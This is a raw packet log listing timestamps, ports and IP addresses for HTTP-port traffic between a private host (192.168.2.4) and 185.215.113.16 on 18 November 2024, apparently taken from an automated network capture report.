Nov 18, 2024 17:23:31.384510040 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.390605927 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.390661001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.390695095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.390702963 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391032934 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391087055 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391122103 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391135931 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391166925 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391196966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391232967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391427040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391479015 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391482115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391518116 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391529083 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391552925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391587973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391635895 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391689062 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391736984 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.391745090 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391782045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.391830921 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.445698977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445750952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445789099 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445805073 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.445846081 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445879936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445890903 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.445926905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.445960045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.446002007 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448175907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448210001 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448245049 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448261023 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448297977 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448350906 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448385000 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448419094 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448453903 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448467016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448497057 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448605061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448637962 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448672056 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448705912 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448724031 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448744059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.448761940 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.448997974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449031115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449064970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449075937 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449099064 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449106932 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449134111 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449167967 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449202061 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449209929 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449237108 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449249029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449491024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449525118 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449561119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449574947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449600935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449609995 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.449919939 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.449970007 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450002909 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450015068 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450037003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450072050 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450072050 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450115919 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450123072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450158119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450191021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450203896 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450228930 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450265884 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450298071 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450311899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450330973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450345039 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450366020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450449944 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450481892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450495005 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450529099 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.450535059 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450571060 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450603008 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.450648069 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.459453106 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.459506035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.459539890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.459558010 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.459594965 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.460112095 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.460146904 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.460182905 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.460195065 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.501282930 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.501334906 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.501349926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.501389027 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.501528978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.501569033 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.507911921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.507956982 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.507972956 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508008003 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.508037090 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.508241892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508286953 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508302927 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508328915 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.508438110 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508454084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.508476973 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.509038925 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509066105 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509078026 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.509085894 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509272099 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509287119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509303093 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509310007 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.509320974 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.509346962 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.509387016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.509419918 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.564002991 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574124098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574153900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574168921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574218035 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574317932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574335098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574351072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574358940 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574369907 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574392080 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574596882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574621916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574636936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574645042 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574660063 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.574690104 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574712038 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.574928045 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575011015 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575026035 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575041056 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575057030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575067997 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575074911 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575103998 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575126886 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575414896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575429916 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575474024 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575484037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575500965 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575515985 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575532913 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575551987 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575586081 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575790882 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575814009 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575830936 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575845003 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575860977 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575870037 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575886011 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575903893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.575908899 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.575927973 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576293945 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576311111 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576325893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576339960 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576350927 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576355934 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576385975 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576406002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576610088 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576716900 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576733112 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576765060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576858044 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576874018 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576889038 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576900005 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.576905012 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.576940060 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.577075005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.577089071 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.577104092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.577133894 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.577163935 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.578716040 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.578775883 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.578790903 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.578830957 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.578872919 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.578888893 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.578913927 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.619795084 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.619812965 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.619887114 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.619926929 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.619942904 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.619971991 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.625021935 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.625077963 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.625092030 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.625142097 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.625180960 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626372099 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626386881 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626401901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626441002 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626529932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626544952 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626559973 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626573086 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626575947 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626586914 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626602888 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626602888 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626620054 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626642942 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626667023 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626773119 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626787901 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626811028 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626826048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626828909 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.626842976 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.626868010 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.689023018 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.691333055 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.691425085 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.691447020 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.691462994 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.691487074 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.691524029 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.691598892 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:31.735856056 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:31.960896969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:32.017127991 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:32.107438087 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.146203041 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.146382093 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.148099899 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.148158073 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.151604891 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151668072 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151683092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151717901 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.151787996 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151803970 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151818991 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151834011 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.151858091 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.151925087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.151988983 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152004004 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152019024 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152049065 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152090073 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152234077 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152249098 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152262926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152277946 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152291059 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152293921 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152311087 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152333021 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152358055 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152507067 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152637005 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152652025 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152666092 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152681112 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152693987 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152704954 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152719975 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152734995 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152738094 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152753115 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.152767897 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152795076 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.152973890 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153064966 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153079987 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153094053 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153109074 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153120041 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153125048 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153140068 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153172016 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153207064 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153410912 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153425932 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153439999 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153470993 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153594017 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153609037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153624058 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153636932 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153640032 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153656006 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153660059 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153671980 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153686047 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153702021 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153706074 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153717041 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153724909 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153733969 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153750896 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153762102 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153767109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153784037 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.153816938 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.153851032 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.154364109 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.154377937 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.154392958 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.154407978 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.154433966 CET	49743	80	192.168.2.4	185.215.113.16
Nov 18, 2024 17:23:33.154439926 CET	80	49743	185.215.113.16	192.168.2.4
Nov 18, 2024 17:23:33.154468060 CET	80	49743	185.215.113.16	192.168.2.4
